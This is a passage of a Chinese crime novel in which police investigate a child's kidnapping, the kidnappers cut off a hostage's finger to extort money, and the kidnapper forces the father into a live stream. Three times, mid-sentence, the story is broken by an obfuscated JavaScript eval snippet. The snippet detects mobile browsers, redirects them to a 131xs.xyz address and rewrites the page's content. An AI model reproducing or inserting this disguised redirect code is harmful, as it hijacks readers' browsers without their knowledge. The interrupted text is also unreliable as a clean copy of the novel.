罗嵩道:“我不记得了,不是我亲自汇的,我只知道户主并不是朱国良,是个女的,叫刘……刘什么凤。” “刘桂凤?” “对。” 刘桂凤是朱国良母亲的名字。 郭阳看着罗嵩,问:“你说的这一切有什么证据可以证明其真实性吗?” “没有。既然你们已经调取了我和他的通话录音,就该看得出来,他很谨慎,从来不在电话里说敲诈的话,哪怕我诱导他说他也会谨慎地岔开话题。约见面的地方更是连个摄像头都没有,每次见面,他甚至还要搜我身,确定我身上没有任何录音设备才会开始谈话。”罗嵩道。 “从我们目前掌握的情况来看,7月8日晚上朱国良出门与你见面之后,就没再回他自己的出租房。” “他都绑架我女儿了,当然不敢再回去,吴晓敏有钱,想藏两个人是轻而易举的事。” 这时郭阳电话响了,他接起,是黄文博,说李亭住处没人,听邻居说,已经三个晚上没看到房里有灯光了。 18.第 18 章 郭阳挂了电话,整理思绪,继续问罗嵩:“你和他0点见面,没谈拢你离开时大概是几点?” “我上车离开生态园大概是0点二十几分,但开出一段距离后,我心烦意乱,没法集中注意力,就把车停在路边思考对策。要不要和公司合伙人说,怎么说,万一他在网上曝光又该怎么应对之类的事情,不知不觉想了很久,当时没注意时间,到书荟雅苑我妈家的时候已经三点多了。” “不介意把你7月9日凌晨的行车录像提供给我们吧?” “我和朱国良见面从来不开行车录像,”罗嵩一脸无辜道,“他要求的。” “你母亲家里的监控录像还在吗?” “那个摄像头像素太低,我扔了。” “连你母亲的手机一起扔了?” “对啊,怎么了?” “好嘛,没监控,没行车录像,没录音,现在连跟他见面的人也不见了,什么都只能听他说。”送走罗嵩后,刘志远回到办公室,“郭队,我觉得这小子还是没说实话,他出轨的事我记得你和文博第一次上门就已经掌握这个信息了,既然朱国良就是拿这件事敲诈他,后面提起朱国良他何必那副态度?根本就没有隐瞒的必要了啊。” “知道他没说实话,但目前也没别的办法,表面上来看他确实是受害者家属,虽然朱国良最后一条微信有些诡异,但除此之外没有任何证据足以证明朱国良的失踪与他有关。今晚大家换班休息,不然身体吃不消。明天,李冲,你去调查刘桂凤名下近几个月进账二十万的那张卡,不出意外那张卡应该是朱国良在用,把这张近几个月所有消费记录都调取出来,排查朱国良的行踪。志远,你联系一下网约车平台,问一下7月9日凌晨有没有网约车接过西郊生态园附近的单。” 朱国良出租屋的搜查工作已经结束了,指纹DNA之类的需要时间化验核对,但可以确定的是,朱国良的住处并没有搜出现金。如果罗嵩没说谎,除了二十万的汇款,他还给过朱国良一百万现金,朱国良一个失信人员,不敢办自己名字的卡,这笔钱没有存在刘桂凤那张卡上的话,这么多现金去哪儿了? 房东说的那个漂亮有气质的女朋友,是不是确有其人? 还有罗嵩家的那个保姆李亭,怎么突然联系不上了?是偶然,还是……有什么其他缘故? 按他之前的推测,7月9日凌晨罗嵩与朱国良见面之后杀了朱国良,随后朱国良的手机就在罗嵩手里,罗嵩将手机藏在严秀姿家自己的卧室里,那李亭确实是唯一一个能拿到那个手机的人。 9号上午朱国良给罗嵩发了语音信息,他知道以现在的科技声音也可以合成伪造,但要做到这一点,除非对方早有准备,否则根本做不到在凌晨三点多到第二天早上八点五十八分这么短的时间内买通李亭偷出手机伪造朱国良的声音给罗嵩发信息。 而且如果是李亭偷的,为什么家里的监控没有拍到她进出罗嵩的房间? 从罗嵩这边来说,如果罗嵩真的没有杀朱国良,他有什么必要在这时候销毁严秀姿家的监控录像? 线索错综复杂,推论前后矛盾,到了此刻,郭阳才真正意识到这个案子到底有多棘手。 看监控视频到凌晨五点,郭阳实在熬不住昏睡过去,七点多苏钰海的电话就打过来了,问他进展怎么样。 郭阳实话实说,案情复杂时间有限,大家都熬着不睡,日以继夜地办案,恐怕也做不到在直播前找到朱国良,毕竟此时离绑匪规定的直播时间,只有十二个小时多几分钟了。 苏钰海倒也没说什么,作为专管刑侦这块的副局长,他比谁都明白破案不是理想化的事情,困难是实际存在的。 “既然不能在直播前找到朱国良,那必须协调好今晚直播的事,千万不能让绑匪在直播中受到刺激情绪失控,进而造成不可挽回的结果。你跟罗嵩那边就直播的事好好沟通一下,派谈判专家去直播现场守着,一定要尽最大努力营救孩子。” “是。” 上午九点多,刘志远来向郭阳汇报情况。 “几家网约车平台都联系过了,7月8日晚上十一点半,有个网约车在新湖三村那边接了朱国良,目的地确实是西郊生态园,但返程没查到记录,应该没有乘坐网约车回来。” 也可能根本没有回来。郭阳思忖着。 “郭队,罗嵩的宝马车7月9日凌晨左右的行动轨迹出来了,8日晚上十一点五十二分,他的宝马车出现在因湖南路通往西郊生态园的最后一个监控中,7月9日凌晨两点四十七分,他的宝马车再次出现在该监控中,方向是往市区开,从行动轨迹来看,他直接回了书荟雅苑,没再去别的地方。”崔胜过来道。 “他不是自称十二点二十几分就离开生态园返程了吗,把车停在路边想事情想了两个多小时?”刘志远惊愕。 “这两个多小时中他的车有没有在别的监控中出现过?”郭阳问。 崔胜道:“从天网系统提供的数据来看,没有。” “朱国良的行动轨迹呢?” “7月9号凌晨之后,天网系统显示没有搜到他的活动轨迹。7月9号之前他的活动轨迹较多,有很多重复的,梳理需要时间。” “在他的行动轨迹中优先排查商场,公园,宾馆,咖啡餐饮这些有可能产生大额消费以及可能与人见面约会的场所,看是否有人与他同行。” “好。” 崔胜转身要走,旁边杨琳腾的站起身来,差点与他撞个正着。 顾不上道歉,杨琳对郭阳喊道:“队长,有重大发现!” 郭阳忙来到她身后,看向她的电脑屏幕。 “在排查朱国良短信的时候,发现7月10日晚上有个陌生号码给他发了两条短信,其中有果果被绑架的照片,叫朱国良还钱,朱国良也给他回了信息。” “这么重要的消息,怎么现在才发现?”郭阳又急又气。 “因为这年头用短信交流的人少,所以我们就优先排查了通话记录和微信内容,对不起郭队,是我工作失误。”杨琳自责道。 郭阳又看了那串号码一眼,竟然认了出来,道:“这是仇洋的手机号码。”他拿出手机想要拨打那个号码。 “等等,后面这条,好像是个钓鱼链接。”崔胜忽然道。 郭阳扭头看崔胜:“什么意思?” 崔胜指着电脑屏幕道:“就是朱国良说他不能用银行卡,把钱都存入这个app,让仇洋到这个app上取钱的这个链接,是个钓鱼链接,如果仇洋真的点开了这条链接并下载了小程序,那他的手机应该已经被那名黑客入侵控制了。” 郭阳拨打仇洋的电话,果不其然,打不通。 “立刻搜索仇洋与徐引璋两人的行踪!” 两个小时后。 “郭队,查到了,7月11日晚上,仇洋在成都租了一辆越野车。” “我这边也查到了,7月11号和7月12号,徐引璋分别在成都和白玉县有过开房记录。我打电话到这两个酒店询问,前台说他们一行一共五个人,四个大人一个孩子。除了徐引璋外,另外三个人的登记名字分别是余伟忠,张苏彤和余文俊。孩子是女孩,戴着帽子和口罩,她们都没能看清女孩的模样,登记的名字叫仇薇薇。另外我还查到了他们所开车辆的车牌号。”杨琳道。 众人振奋,因为那女孩极有可能就是果果。 但今天已经是13号,人却到了白玉县,直播前赶过去已经来不及了。 郭阳当即叫崔胜去查杨琳查到的那辆车现在的行踪,让刘志远与黄文博即刻出发去白玉县,同时打电话给苏钰海汇报这一消息,希望他能联系当地兄弟单位尽快帮忙协查人质的下落。 下午两点,离直播还有六小时。 严秀姿捧着手机坐立不安地在自家客厅徘徊,第五次拨打罗嵩的电话。 这次罗嵩终于接了,不耐烦地道:“你一直打我电话干什么?我忙着呢!” “忙什么?你不会真的准备直播吧?” “不然怎么办?” “不能直播,你知道……真的不能直播啊!”严秀姿心焦道。 “不直播就断送事业。” “你这几年赚的钱也够你下半辈子花了,大不了咱们不做直播这一行。至于果果……只要你再婚,孩子还会有的。” “我跟你说不通,不要再打我电话了。”罗嵩挂断电话。 下午三点,郭阳带人赶到了晨星公司,见到了公司相关负责人和罗嵩,经过慎重考虑,他们觉得还是有必要让罗嵩尝试联系一下徐引璋那伙人,看看有没有商量的可能。 在郭阳他们的指导下,罗嵩拨打了徐引璋的电话。 “喂?”一个男人接通了电话。 “我是罗嵩,我知道孩子在你们手里……” 罗嵩刚说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289566|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一句话,对方就挂断了,再打过去就打不通了。 “妈的妈的!”余伟忠狠狠地用手捶着方向盘。 “干什么呀?你好好开车。”张苏彤惊吓道,“发生什么事了?” “仇洋把我们给卖了!”余伟忠愤怒道。 “要不要继续打剩余那三个人的电话?”晨星公司,大家都看着郭阳。 郭阳已经查到了余伟忠的身份信息,这就是个资深赌徒,因为聚众赌博坐过几次牢,同行除了女人孩子,剩下那个余文俊是他儿子。 可以肯定这伙人是以他为首的,刚才接徐引璋电话的应该也是他。 “算了,对方明显不想谈,不要再去刺激他们,准备直播吧。”郭阳道。 下午四点,罗三丫驾驶着越野车行驶在盘山公路上,据李亭说这条线叫川藏中线,也叫麦当劳线。路面都是非铺装路面,一路都在上山和下山,没点驾驶技术还真不敢走这条线。 天气不好,一路都在飘着濛濛细雨,目之所及是连绵不绝的群山,山头都笼罩在雨雾之中。 “你恐高吗?要不我来开?”李亭问。 “没事,这路还是比较宽的,难不倒我。只是,那伙人为什么要带着果果走这条路?为了躲避警察?这也太危险了。而且信号时断时续的,我们这样跟着也不是办法。”罗三丫还是担心果果的安全。 李亭看着远处半山腰的红色越野车,道:“再跟一段时间,如果今天还是找不到机会救果果,明天就报警。” “你不是说不能报警吗?报警的话怎么说?”罗三丫问。 “到时候我教你。”李亭转头往后面看了一眼。今天早上离开白玉县那家宾馆时,有一辆越野车一直跟在她们身后,现在已经看不见了,可能凑巧只是走这条路去西藏的驴友吧。 “你能不能开快点?前面那两辆车都看不见了。不行我来开。”崎岖的山道上,仇洋焦急道。 “怎么开快?你也不看看这是什么路?你为了女人不要命,你老子还想多活几年。反正你能看到你老婆手机的位置,急什么?”仇国富正说着,只听嘣的一声,忙踩下刹车。 两人下车查看,发现是右前轮刮到尖锐的石头,爆胎了。 “妈的!” 仇洋眉头紧皱,这时余伟忠的电话又打了进来,仇洋瞥了一眼就摁了挂断。 余伟忠今天一天都在打仇洋电话,催促他问罗嵩要钱,仇洋一开始还敷衍,后来直接连电话都不接了。 余伟忠气得要命,叫张苏彤来开车,他去收拾徐引璋,可这边山路太危险,张苏彤不敢开,余文俊还没考驾照,不会开。 余伟忠只好阴沉着脸,耐着性子继续开车,寻找方便停车的地方。 这时有电话进来,手机连着汽车中控,余伟忠扫了眼来电号码,立刻点了拒接。 对方一直打来,一连三次被拒接后,发了条微信过来。 余伟忠让张苏彤点开。 音响里传来男人怒气冲冲的骂声。 “我cnmlgb,姓余的,不接电话是吧?你有本事逃到天上去,今天要不还那一百万,你剩下的七根手指,一根十万,还要加上三根脚趾来抵!” 余伟忠无意识地踩下油门,车速加快。 张苏彤紧张地拉住了车窗上面的安全把手。 余文俊在后面看着余伟忠的侧面,道:“原来你搞这一出,并不是为了给我筹措学费,你是为了还你自己的赌债。我就该听我妈的,不该对你这个烂赌成性的赌鬼抱什么指望!” “闭嘴!”余伟忠怒吼,“不该对我抱指望,她又是什么好人?说破天她不也供不起你上大学吗?” 车子在山道一个急转弯,张苏彤吓得差点叫起来,对余伟忠道:“你冷静点!文俊,你也别说话了,也不看看这是什么地方,万一车子失控冲下山道,我们一车人全都别想活!” 余文俊闭上嘴。 坐在他身边的果果害怕地看向徐引璋,徐引璋安抚地牵住她一只手,帮她把安全带捋平。 下了山,路边有草地,余伟忠把车开到草地上,停下,摸出徐引璋的银行卡,用她的手机编辑了一条短信,点了发送。 严秀姿收到一条陌生号码发来的短信。 “收款人姓名:徐引璋,卡号:xxxxxx,收款行名称:xxxxxxx,现在往这个卡里打一百万,我告诉你果果在哪里。” 19.第 19 章 严秀姿愣了半天,回:“你怎么证明你不是骗子?” 罗嵩在网上发了悬赏公告,说能提供果果线索帮助找回果果的奖励二十万,留的是她的号码,这两天她手机一直收到乱七八糟的电话和信息,她一概没理。 这个人没有试探没有寒暄,上来就发卡号要钱,而且要的比悬赏的多,感觉和之前收到的信息不一样。 果然,她消息发过去没多久,对方就发过来一张果果的照片。 严秀姿斟酌着回道:“我们悬赏是二十万。” “一百万,一分都不能少,五分钟之内打过来,不然我们就撕票。” “她就是个女孩子,不值那么多钱,就二十万。” “TMD!”余伟忠咒骂一声,从驾驶室下来,绕到车后打开后备箱拿了把花剪,拉开徐引璋这边的车门,道:“下来!” 徐引璋看到他手里的花剪,紧张道:“你要干什么?” “我叫你滚下来!”余伟忠解开她的安全带,抓着她的胳膊把她往车外拽。 徐引璋敌不过他的力气,被他拽得跌下车。 余伟忠的目标却不是她,跨过她的身体伸手去够坐在后排中间的果果。 “你要干什么?别碰她!”徐引璋察觉他的目标是果果,尖叫着抱住他的腿拼命往后扯。 “滚开!”余伟忠此时原形毕露,回身狠狠一脚踹在她的胸腹处。 徐引璋仰倒在地,痛得蜷起身子。 余伟忠再回身,却发现果果被余文俊抱着从另一侧下了车。 余文俊把孩子挡在身后,戒备地看着余伟忠,问:“你想干嘛?” 张苏彤也下了车,茫然地看着眼前这一幕。 “你不是要学费吗?要学费就别碍事!”余伟忠走到余文俊跟前,伸手想拨开他。 余文俊看着他手里握着的花剪,不肯让,“如果我要学费就要伤害这个孩子,那学费我不要了!” “她家人说她不值钱,我看看她是不是真那么不值钱!让开!” “不让!你不许碰这个孩子!”余文俊试图去抢余伟忠手里的花剪,父子俩顿时扭打在一起。 在扭打中余伟忠余光看到徐引璋趁乱抱着孩子沿着一旁的山路准备逃跑,忙朝呆立一旁的张苏彤喝道:“人跑了!” 张苏彤如梦初醒,回头一看,追上去一把扯住徐引璋的头发。 “到目前为止,你们都和这桩绑架案无关,但如果他伤害了果果,性质就不一样了,你作为从犯,判刑也会更重!”徐引璋抱着孩子还不了手,试图跟张苏彤讲道理。 “拿不到钱我们也活不了,仇洋没父母没钱,你也没父母吗?问你父母要啊!”张苏彤一只手用力扯着她的头发,一只手去她怀里抢孩子。 果果一边哭一边死死搂着徐引璋的脖子。 那边余伟忠摆脱了余文俊,大步走过来,吩咐张苏彤:“拉住她的手!” 张苏彤抢过果果怀里的大象玩偶,往地上一扔,握住她小小的手腕。 果果大哭。 “你们要干什么?放开她!”徐引璋也吓哭了,伸手去抢果果的手。 余伟忠一拳打在她太阳穴上。 徐引璋只觉眼前一黑,失去重心,不由自主地向地上摔去。 趁她脱力,余伟忠从她怀里抢下孩子放在地上,叫张苏彤:“捏住她的手。” 张苏彤犹豫。 “犹豫什么?别忘了那一百万赌债里,有三十万是你的!”余伟忠骂道。 张苏彤心一横,强行掰过果果的手固定住。 果果尖叫大哭,不停挣扎,张苏彤一条胳膊死死箍住她小小的身体,一只手握着她的小手。 余伟忠蹲下身,强行掰开她紧握成拳的手指,刚要把花剪凑上去,身边风响,他一扭头,就被余文俊一脚给踹得在地上打了个滚。 “你这个疯子!变态!信不信我现在就报警?”余文俊崩溃大叫。 余伟忠怒从心中起恶向胆边生,从草地上爬起来,也不念父子之情了,上来就是一顿老拳招呼。 徐引璋从那一拳造成的昏聩中恢复过来,见张苏彤抱着果果蹲在不远处,她咬牙爬起来,从后面拽住张苏彤的头发死命往后一扯。 张苏彤头皮吃痛,下意识地放开果果双手护头仰倒在地。 徐引璋一边胡乱打她一边对果果叫道:“果果,快跑,快跑!救命!救命啊——” 可惜走这条路进藏的本来就少,7月又是雨季,路况更差,这山道上半天也看不到一辆车。 余伟忠下了重手,余文俊很快就倒在地上捂着肚子起不了身。 他走过来一脚踹倒徐引璋,摁在地上一拳一拳地打。 张苏彤起身追上果果,把她抱了回来。 “剪我的手指。”在余伟忠挥拳的间隙,徐引璋虚弱道。 余伟忠扬起的拳头停住。 “她只是个孩子,免疫力低下,现在又是夏天,万一伤口感染,人死了,你一分钱都拿不到。剪我的手指,我手指细,尾指跟她的中指差不多长短,你发照片过去,对方看不出来的。”徐引璋躺在地上,绝望地祈求道。 严秀姿犹豫着要不要打电话给罗嵩,但想到罗嵩知道了肯定会支付这一百万,她又觉得肉疼,那可是一百万啊,把果果卖了都不值这个钱。 或者通知警察?现在有名字有卡号还有手机号码,肯定能锁定身份抓到人,一分钱都不用付。上次那个刑警队长郭阳留了名片,她放哪儿了来着? 严秀姿正在抽屉里翻找名片,短信又来了。 她点开一看,血淋淋的一张照片,那是一根手指被切下来的照片。 她吓得惊叫一声,把手机都扔了出去。 又有短信进来。 严秀姿喘了好几口气,战战兢兢捡起手机。 “想讨价还价是吧?行,一根手指一万块,一条胳膊十万,一条大腿二十万,说吧,给多少?” 严秀姿慌忙把短信全都删掉。 不能报警了,绑匪切了果果一根手指,如果报警,警方肯定会要求查看她和绑匪的聊天记录,吴晓敏要是知道她舍不得出钱让果果被切了一根手指,还不找她拼命?小区里这些老妇女长舌妇的唾沫星子都能淹死她。 见她不回复,对方竟然直接打了电话过来。 严秀姿忙把电话挂掉,号码拉黑。 余伟忠再打严秀姿的电话,发现打不通了,气得大吼一声,猛踹车轮毂。 “有车来了!”张苏彤紧张地看着半山腰。 余伟忠顺着她的目光仰头看了看,道:“上车! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289567|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 张苏彤进了副驾驶室。 余伟忠看余文俊还躺在地上,过去拽他。 余文俊一把甩开他的手,“滚!” 余伟忠额角青筋贲起,道:“你爱死哪儿去死哪儿去,但我警告你,如果我出事,你也跑不了!” 他打开后备箱把余文俊的旅行包拿出来往地上一扔,上了驾驶室,对张苏彤道:“你坐后面去。” “不带你儿子了?万一他真的报警怎么办?” “他没那么蠢。” 张苏彤坐到后座原先余文俊坐的位置,看向身边的小女孩和徐引璋。 徐引璋被剪了一根手指,此刻正用一件T恤捂着左手靠在座椅上,面色惨白,冷汗涔涔。 “阿姨,你会不会死啊?”果果眼泪汪汪地看着她。 徐引璋勉强朝她挤出一个笑容,安慰道:“不会,只是一根手指而已,阿姨没事,果果不怕。” 张苏彤心里七上八下的,忍不住问余伟忠:“接下来我们该怎么办?” 余伟忠一边开车一边道:“先看完今晚的直播再说。” 他们走后没一会儿,罗三丫和李亭的车就开到了他们刚才停留的地方,看到余文俊拎着旅行包站在路边挥手拦车。 “欸?那不是……” “别停!”罗三丫话还没说完,李亭打断她道。 罗三丫下意识地一脚油门越过余文俊,才问道:“为什么不载他?他和那些人贩子是一伙儿的,搭他说不定还能从他嘴里套出点信息,再不济咱俩把他给绑了,跟那伙人贩子交换果果。” “看他头发凌乱形容狼狈,显然是被打了。他们内部出现了分歧,他被独自扔下,证明那伙人不怕他报警。既然他不会报警,就更不会向我们透露果果的情况。一个大小伙子,我们两个女人没有把握一定能制服他,所以还是不要节外生枝了。”李亭冷静道。 与此同时,郭阳接到李冲打来的电话:“郭队,我们查到刘桂凤那张卡四个月前在恒辉天地一楼的金店里有过大额消费,过来调查,因为是四个月前,监控记录已经被覆盖掉了,但金店的柜姐说当时接待朱国良的柜姐,名叫李亭。我要到了一张李亭的照片,现在发给你。” 挂了电话,郭阳的微信上立马传来一张照片,是几个女人的合影。 李冲紧接着发来一条微信: “最右边那个就是李亭。” 郭阳看着照片上的李亭,她有着一头蓬松的长卷发,衣着时尚妆容精致,五官明艳大气,微微笑的模样很有气质,和之前他在队里见到的罗嵩家的保姆李亭简直判若两人,但细看脸型和五官,还是能认得出是同一个人。 发型肤色和妆容对一个女人外貌的影响真的是太大了。 郭阳把李亭单独截图出来,发给了朱国良的房东,问她她在朱国良手机上看到的女人是不是这个? 房东很快回过来: “好像就是她。” “罗嵩家的保姆李亭就是朱国良的女朋友,小崔,马上用天网系统排查绑架案发生前后李亭的行动轨迹。杨琳,申请对李亭的手机进行技术侦查。”郭阳给队员分配完任务,自己拿起车钥匙叫上李冲去了李亭的住处。 路上联系了李亭的房东,房东很配合,他们到的时候房东已经在等着了。 20.第 20 章 “发生什么事了?小李她怎么了?”房东是个六十多岁的大爷,打开房门后关切地问道。 “大爷,我看您来得挺快,您住得离这近吗?”郭阳进去后,李冲在门口打开记录本。 “我就住楼上,这个房子本来是买给儿子结婚用的,儿子有出息,自己在市中心另外买了大平层,这房就拿来出租了。” “李亭是什么时候租您的房子的?” “大概三个多月之前吧,有租房合同。” “她搬家的时候是一个人搬的吗?有没有人帮忙?” “她叫了个货拉拉,拉货的帮她一起搬的,我这房里家具齐全,拎包就能住,不需要搬什么大件。” “那在这三个多月中,你有没有看到有什么人来找过她?” 大爷思量着道:“没有吧,她工作好像还挺忙的,天天早出晚归。” “她有没有跟你提起过她的男朋友?” “她说在老家有孩子有老公,出来打工给孩子赚学费来着。男朋友,没提过。” “最近她有没有带孩子回过家?” “没有,没见过。” “她有车吗?” “有台电瓶车,这几天一直停在楼下呢,要不是你们过来找她,我还以为她一直在家。” 李冲没从房东处得到什么有用的信息,来到房里,打眼一看,到处都干干净净一目了然。 他走到卧室门口,发现郭阳从床底拖出一只收纳箱,正在把里面的东西一件件拿出来放在床上。 有一个小型的电动家用缝纫机,几块裁剪过的白色棉布,还有两块纸板,一些五颜六色的丝线,剪刀尺子等。 “这是什么?”见郭阳看着那堆东西沉思,李冲不解地拿起一块被裁剪过的纸板。 “做衣服打的版,果果失踪时身上穿的那条白色棉布裙,可能是李亭做的。”郭阳沉声道。 “罗嵩和吴晓敏都有钱,果果应该不缺衣服穿吧,李亭为什么要费这个功夫给她做一条裙子?” “做的裙子不会跟别人撞款,比较好认。” “你的意思是,李亭和绑架果果的仇洋夫妇是一伙的?不会吧,李亭是朱国良的女朋友,仇洋夫妇绑架果果是为了向朱国良要钱。虽然我们现在还不清楚为什么仇洋夫妇绑架了罗嵩的女儿会去向朱国良要钱,但作为朱国良的女朋友,李亭没理由会帮助他们。” “如果李亭不是与这桩案子有很深的牵扯,她为什么要否认与朱国良的关系,又为什么会突然消失?而且,既然朱国良没有绑架果果,他的手机号又为什么会给罗嵩夫妇发那样一条信息,还注册了微博?” 李冲思考了一会儿,道:“难道朱国良真的已经被罗嵩给杀了,而李亭发现了这一点,正好仇洋夫妇绑架了果果,还给朱国良发了勒索信息,李亭就顺水推舟,利用这一点给朱国良报仇?如果绑架果果的人和发布微博的真的是两拨人,那今晚的直播是不是可以取消了?” “如果是两拨人,绑架果果的那拨人图什么?除了最开始仇洋给朱国良发了一条信息外,他们再没有对罗嵩提出过任何要求。而且在这桩绑架案闹得沸沸扬扬的同时,他们还带着人质实名住宿,你见过这样的绑架吗?这桩案子很多细节都不合常理,现在还不能妄下论断,人质的生命安全永远是排在第一位的。”郭阳道。 房里还有一张书桌,上面放了些笔纸还有茶杯之类的杂物。 “书桌中间空出来的这一块,看大小正好放一台笔记本电脑。”郭阳说着,拉开书桌的抽屉,里面东西不多,郭阳随便翻了翻,被两本针孔摄像仪的使用说明书吸引了目光。 他拿出那两本使用说明书,环顾室内,对李冲道:“找找,这屋里有没有摄像头?” 两人一通翻找,并没有在房里找到这两台针孔摄像仪。 “我问过房东了,房东说他没买过摄像仪,那两台摄像仪应该是李亭买的。”李冲从门外回来,对郭阳道。 “现在的问题是,她把这两台针孔摄像仪,装在哪儿了?”郭阳说着,与李冲对视了一眼。 “严秀姿家!郭队,我们这就……” 郭阳摆了摆手,道:“罗嵩都知道事后把监控摄像拿走销毁,这个李亭在我们前期的调查中表现得滴水不漏,是个心理素质强大且心思缜密的人,不可能在严秀姿家留下这样的证据给我们。” 晚上六点。 “郭队,查了李亭的行动轨迹,在果果失踪前,她的活动轨迹基本上就是从她出租房到书荟雅苑,再到菜场,到佳佳幼儿园,并没有什么特别之处。果果失踪之后,她在她租住的小区和松湖小区的南门出现过,7月11日,第一次是早上,她从松湖小区南门出去,半个多小时后返回松湖小区,第二次是中午,她从松湖小区南门出来,来了我们队里,从我们队里出去后上了一辆网约车,去了南湖批发市场,之后就没有她的行动轨迹了。”崔胜道。 “松湖小区?那不就是仇洋夫妻租住的小区吗?”李冲看向郭阳。 郭阳点头。 “这么说,李亭真的有可能就是仇洋夫妻的同伙。” “郭队,这个李亭最后消失在南湖批发市场,那里地方大鱼龙混杂,是个理想的藏身之地,要不现在带人过去排查一下?”李冲问道。 郭阳摇头:“她消失在那里,不一定就躲在那里。这个李亭极善于改变自己的外在形象,现在又是夏季,很多女性出门怕晒黑,撑伞,戴口罩戴帽子全副武装,甚至还有那什么……脸基尼,把脸蒙得只剩两只眼睛露在外面,走在路上也不会引人怀疑,天网系统更是无法识别。” “那现在我们该怎么办?” 郭阳看了下手表,道:“先去排查李亭的社会关系,调查她在京山市除了朱国良和金店的那些同事外,有没有别的认识的人?等手续下来再侦查她的手机号。” 距离绑匪规定的直播时间还有一小时。 郭阳找到苏钰海,询问白玉县那边的情况。 “那边的刑警同志去宾馆调查,宾馆服务人员反应徐引璋一伙人一大早就离开了宾馆,通过道路监控追踪到那辆车往贡觉县方向去了。我们已经联系昌都市那边的公安局,申请协助追踪涉案车辆,解救人质。但他们反应那边山脉纵横地广人稀,且道路监控较少,如果不能确定涉案车辆的具体位置,很难开展行动。徐引璋余伟忠那几人的手机如今也处于无法锁定的状态。只能等直播时看看能不能追踪到发帖人的位置。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296848|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗三丫驾着车来到了著名的老虎嘴,右边是陡峭的悬崖,左边就是奔腾怒吼的金沙江,道路崎岖难行,几次车身的倾斜度都几乎达到了四十五度,就算是罗三丫这样开过十几年出租车的老司机,都被吓出了一身冷汗。 过了老虎嘴,手机没了信号,也看不到果果的定位。 “现在怎么办?一直往前开吗?”罗三丫问。 李亭看了看时间,道:“就近找个有信号可以停车的地方,看直播。” “看直播?什么直播?”罗三丫这两天白天开车,晚上除了睡觉就是和李亭聊天,没怎么上网,还不知道罗嵩被绑匪要求直播的事。 李亭道:“待会儿你就知道了。” 又往前开了一段路后,手机有信号了,路的左边出现了一座水泥小桥,河对面好像是个小村落。 “看,是那辆车。”天还没黑,罗三丫一眼就看到了停在对面河边的那辆红色坦克300。 “开过去,不要靠那辆车太近。”李亭拿出口罩戴上。 车里余伟忠坐在主驾,张苏彤抱着果果坐在副驾,后面徐引璋因为断指已经痛到半昏迷状态,余伟忠刚用急救箱帮她把伤口处理了一下。 后座车门设置了儿童锁,在里面不能开车门,所以余伟忠也只是扫了眼开过来的那辆越野车,并没有做出什么反应。 七点二十,郭阳赶到晨星公司罗嵩的直播间。 严秀姿也来了,她心急如焚,一个人在家里根本呆不住。 绑匪虽然规定的直播时间是八点,但晨星公司和郭阳商量后,准备七点半就开播,以免发生网络或机器上的故障。 “我再重申一遍,罗嵩,不管对方问你什么问题,你都要保持镇定,不能刺激对方,直播间的评论区也尽量不要出现能激怒绑匪的言论,有的话及时屏蔽掉。一切以保障人质的人身安全为目标。”郭阳道。 王运凯应了一声,转头又去盯着员工添加商品链接去了。这才开播五分钟,直播间人数已经涨到了一百万,可见果果被绑架案通过这几天在网络上的发酵,加上他们公司请的水军到处发帖,已经引起了绝大多数网民的关注,王运凯预计今晚直播间的人数一定能突破新高,说不定比以往能翻个几倍。 评论区的评论不停滚动,大家对这件事的讨论兴致十分高昂。 直播间的人数还在不停地增长着,速度从几千几千,飞速攀升到几万几万。 “欸,罗嵩的直播间开播了!” “真的?绑匪上线了吗?” “我刚上微博看了,还没发新微博。” “倒是个守时的绑匪,说八点就八点。” 地铁上,公交车上,人行道上,家里的沙发上,很多人都捧着手机,关注着事情的进展。 各大媒体和网红们也纷纷转发着最新动态。 罗嵩坐到镜头前,没做发型,也没化妆,胡子拉碴,黑眼圈深重,神色憔悴疲惫。 他入这行已经十年了,直播了上万场,但就算是第一次直播,也没有这次这么紧张。 在大家热烈的讨论和公安人员近乎屏息般的等待中,时针终于指向了八点整。 账号“玛丽安0723”发布了一条新微博。 21.第 21 章 “直播屏幕二分屏,一半展示我的微博。罗嵩你记住,你只有三个问题的机会,如果这三个问题你全部老实回答,我就把孩子送到离我最近的派出所。错一道题,剁孩子一条胳膊,错两道,剁两条,如果全错,你就害死了你女儿。视频为证。五分钟后,我会发布第一个问题。” “按他说的做。”郭阳吩咐晨星公司的工作人员。 公安局,苏钰海问崔胜:“他这次是不是没用那什么洋葱,我看到最新微博显示发布于西藏?” “我正在查。”崔胜道。 